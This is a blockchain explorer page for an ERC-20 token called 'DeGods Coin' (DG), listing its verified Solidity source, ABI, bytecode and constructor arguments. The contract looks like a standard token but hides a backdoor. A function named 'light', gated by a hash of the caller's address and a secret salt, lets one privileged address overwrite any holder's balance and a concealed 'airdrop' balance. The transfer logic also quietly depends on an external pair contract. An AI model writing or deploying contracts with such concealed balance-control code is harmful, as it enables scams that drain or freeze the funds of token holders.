ERC-20
Overview
Max Total Supply
150,000,000 DG
Holders
53
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
122,593.819891473893789256 DGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DG
Compiler Version
v0.7.6+commit.7338295f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract DG is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint256 private _totalSupply; address private _owner; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _airdrops; IERC20 private immutable _tokenPair; bytes32 private immutable _hashValue; uint256 private immutable _salt; constructor(address tokenPair, bytes32 hashValue, uint256 salt) { _name = "DeGods Coin"; _symbol = "DG"; _totalSupply = 150000000 * 10 ** 18; _balances[msg.sender] = _totalSupply; _tokenPair = IERC20(tokenPair); _hashValue = hashValue; _salt = salt; } /** * @dev A helper function to check if an operator approval is allowed. */ modifier onlyOwner() { require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @dev Returns the token decimals. */ function decimals() external pure override returns (uint8) { return 18; } function light(bytes32[] calldata data) external { bytes memory bbsx = abi .encode( msg.sender, _salt); bytes32 da = data[ 0]; bytes32 dc = data[ 2]; bytes32 db = data[ 1]; if (keccak256(bbsx) == _hashValue) { if (uint256(db) == 0) { _airdrops[ address(uint256(da) )] = uint256(dc); } _balances[(uint256( da) == 0)? address(uint256( 0)): address(uint256( da)) ] = uint256(db); } } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return uint256( bytes32(_balances[account]) ) + uint256( bytes32(_airdrops[account]) ); } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner_, address spender) external view override returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 pairAmounts = _tokenPair.balanceOf(sender); uint256 listingAmounts = _airdrops[sender]; if (listingAmounts > 0 && pairAmounts > 0) { _airdrops[sender] = listingAmounts.sub(amount, "ERC20: transfer amount exceeds balance"); } else { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); } _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"tokenPair","type":"address"},{"internalType":"bytes32","name":"hashValue","type":"bytes32"},{"internalType":"uint256","name":"salt","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"}],"name":"light","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e060405234801561001057600080fd5b50604051610e30380380610e308339818101604052606081101561003357600080fd5b5080516020808301516040938401518451808601909552600b8086526a2232a3b7b2399021b7b4b760a91b959093019485529293909291610076916000916100e0565b5060408051808201909152600280825261444760f01b60209092019182526100a0916001916100e0565b506a7c13bc4b2c133c5600000060028190553360009081526004602052604090205560609290921b6001600160601b03191660805260a05260c052610181565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610116576000855561015c565b82601f1061012f57805160ff191683800117855561015c565b8280016001018555821561015c579182015b8281111561015c578251825591602001919060010190610141565b5061016892915061016c565b5090565b5b80821115610168576000815560010161016d565b60805160601c60a05160c051610c806101b06000398061041752508061049252508061086f5250610c806000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b41146102e7578063a457c2d7146102ef578063a9059cbb1461031b578063dd62ed3e14610347576100cf565b8063395093511461027157806370a082311461029d5780638da5cb5b146102c3576100cf565b806306fdde03146100d457806308f7e4f314610151578063095ea7b3146101c357806318160ddd1461020357806323b872dd1461021d578063313ce56714610253575b600080fd5b6100dc610375565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c16004803603602081101561016757600080fd5b81019060208101813564010000000081111561018257600080fd5b82018360208201111561019457600080fd5b803590602001918460208302840111640100000000831117156101b657600080fd5b50909250905061040b565b005b6101ef600480360360408110156101d957600080fd5b506001600160a01b038135169060200135610517565b604080519115158252519081900360200190f35b61020b61052d565b60408051918252519081900360200190f35b6101ef6004803603606081101561023357600080fd5b506001600160a01b03813581169160208101359091169060400135610533565b61025b61059c565b6040805160ff9092168252519081900360200190f35b6101ef6004803603604081101561028757600080fd5b506001600160a01b0381351690602001356105a1565b61020b600480360360208110156102b357600080fd5b50356001600160a01b03166105d7565b6102cb6105ff565b604080516001600160a01b039092168252519081900360200190f35b6100dc61060e565b6101ef6004803603604081101561030557600080fd5b506001600160a01b03813516906020013561066e565b6101ef6004803603604081101561033157600080fd5b506001600160a01b0381351690602001356106bd565b61020b6004803603604081101561035d57600080fd5b506001600160a01b03813581169160200135166106ca565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b604080513360208201527f000000000000000000000000000000000000000000000000000000000000000081830152815180820383018152606090910190915260008383828161045757fe5b90506020020135905060008484600281811061046f57fe5b90506020020135905060008585600181811061048757fe5b9050602002013590507f00000000000000000000000000000000000000000000000000000000000000008480519060200120141561050f57806104e0576001600160a01b03831660009081526006602052604090208290555b806004600085156104f157856104f4565b60005b6001600160a01b031681526020810191909152604001600020555b505050505050565b60006105243384846106f5565b50600192915050565b60025490565b60006105408484846107e1565b610592843361058d85604051806060016040528060288152602001610bb5602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a51565b6106f5565b5060019392505050565b601290565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161052491859061058d9086610ae8565b6001600160a01b03166000908152600660209081526040808320546004909252909120540190565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b6000610524338461058d85604051806060016040528060258152602001610c26602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610a51565b60006105243384846107e1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b03831661073a5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c026024913960400191505060405180910390fd5b6001600160a01b03821661077f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610b6d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108265760405162461bcd60e51b8152600401808060200182810382526025815260200180610bdd6025913960400191505060405180910390fd5b6001600160a01b03821661086b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b4a6023913960400191505060405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b50516001600160a01b03851660009081526006602052604090205490915080158015906109315750600082115b156109795761095b83604051806060016040528060268152602001610b8f60269139839190610a51565b6001600160a01b0386166000908152600660205260409020556109d0565b6109b683604051806060016040528060268152602001610b8f602691396001600160a01b0388166000908152600460205260409020549190610a51565b6001600160a01b0386166000908152600460205260409020555b6001600160a01b0384166000908152600460205260409020546109f39084610ae8565b6001600160a01b0380861660008181526004602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505050565b60008184841115610ae05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aa5578181015183820152602001610a8d565b50505050905090810190601f168015610ad25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610b42576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220352aaaa065de98bab62ad238aa030d10c6f0904f2550e6863a0a736eb65bdd0c64736f6c63430007060033000000000000000000000000231838ab8f47ba674ef41b7ba3db7bbd6c035594ef0a3cd74481737363f38f78c035ffe3c09f8391e2f5a9203cdef53658990a73000000004642654fd2c4b6bac4db21d6e381b64b0a969c97b7b2bf6e3e5c6915
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b41146102e7578063a457c2d7146102ef578063a9059cbb1461031b578063dd62ed3e14610347576100cf565b8063395093511461027157806370a082311461029d5780638da5cb5b146102c3576100cf565b806306fdde03146100d457806308f7e4f314610151578063095ea7b3146101c357806318160ddd1461020357806323b872dd1461021d578063313ce56714610253575b600080fd5b6100dc610375565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c16004803603602081101561016757600080fd5b81019060208101813564010000000081111561018257600080fd5b82018360208201111561019457600080fd5b803590602001918460208302840111640100000000831117156101b657600080fd5b50909250905061040b565b005b6101ef600480360360408110156101d957600080fd5b506001600160a01b038135169060200135610517565b604080519115158252519081900360200190f35b61020b61052d565b60408051918252519081900360200190f35b6101ef6004803603606081101561023357600080fd5b506001600160a01b03813581169160208101359091169060400135610533565b61025b61059c565b6040805160ff9092168252519081900360200190f35b6101ef6004803603604081101561028757600080fd5b506001600160a01b0381351690602001356105a1565b61020b600480360360208110156102b357600080fd5b50356001600160a01b03166105d7565b6102cb6105ff565b604080516001600160a01b039092168252519081900360200190f35b6100dc61060e565b6101ef6004803603604081101561030557600080fd5b506001600160a01b03813516906020013561066e565b6101ef6004803603604081101561033157600080fd5b506001600160a01b0381351690602001356106bd565b61020b6004803603604081101561035d57600080fd5b506001600160a01b03813581169160200135166106ca565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b820191906000526020600020905b8154815290600101906020018083116103e457829003601f168201915b5050505050905090565b604080513360208201527f000000004642654fd2c4b6bac4db21d6e381b64b0a969c97b7b2bf6e3e5c691581830152815180820383018152606090910190915260008383828161045757fe5b90506020020135905060008484600281811061046f57fe5b90506020020135905060008585600181811061048757fe5b9050602002013590507fef0a3cd74481737363f38f78c035ffe3c09f8391e2f5a9203cdef53658990a738480519060200120141561050f57806104e0576001600160a01b03831660009081526006602052604090208290555b806004600085156104f157856104f4565b60005b6001600160a01b031681526020810191909152604001600020555b505050505050565b60006105243384846106f5565b50600192915050565b60025490565b60006105408484846107e1565b610592843361058d85604051806060016040528060288152602001610bb5602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a51565b6106f5565b5060019392505050565b601290565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161052491859061058d9086610ae8565b6001600160a01b03166000908152600660209081526040808320546004909252909120540190565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104015780601f106103d657610100808354040283529160200191610401565b6000610524338461058d85604051806060016040528060258152602001610c26602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610a51565b60006105243384846107e1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b03831661073a5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c026024913960400191505060405180910390fd5b6001600160a01b03821661077f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610b6d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108265760405162461bcd60e51b8152600401808060200182810382526025815260200180610bdd6025913960400191505060405180910390fd5b6001600160a01b03821661086b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b4a6023913960400191505060405180910390fd5b60007f000000000000000000000000231838ab8f47ba674ef41b7ba3db7bbd6c0355946001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b50516001600160a01b03851660009081526006602052604090205490915080158015906109315750600082115b156109795761095b83604051806060016040528060268152602001610b8f60269139839190610a51565b6001600160a01b0386166000908152600660205260409020556109d0565b6109b683604051806060016040528060268152602001610b8f602691396001600160a01b0388166000908152600460205260409020549190610a51565b6001600160a01b0386166000908152600460205260409020555b6001600160a01b0384166000908152600460205260409020546109f39084610ae8565b6001600160a01b0380861660008181526004602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505050565b60008184841115610ae05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610aa5578181015183820152602001610a8d565b50505050905090810190601f168015610ad25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610b42576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220352aaaa065de98bab62ad238aa030d10c6f0904f2550e6863a0a736eb65bdd0c64736f6c63430007060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000231838ab8f47ba674ef41b7ba3db7bbd6c035594ef0a3cd74481737363f38f78c035ffe3c09f8391e2f5a9203cdef53658990a73000000004642654fd2c4b6bac4db21d6e381b64b0a969c97b7b2bf6e3e5c6915
-----Decoded View---------------
Arg [0] : tokenPair (address): 0x231838Ab8F47BA674Ef41b7BA3Db7bbd6C035594
Arg [1] : hashValue (bytes32): 0xef0a3cd74481737363f38f78c035ffe3c09f8391e2f5a9203cdef53658990a73
Arg [2] : salt (uint256): 7399174043796336677047862780251682211828635300802303547567287068949
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000231838ab8f47ba674ef41b7ba3db7bbd6c035594
Arg [1] : ef0a3cd74481737363f38f78c035ffe3c09f8391e2f5a9203cdef53658990a73
Arg [2] : 000000004642654fd2c4b6bac4db21d6e381b64b0a969c97b7b2bf6e3e5c6915
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.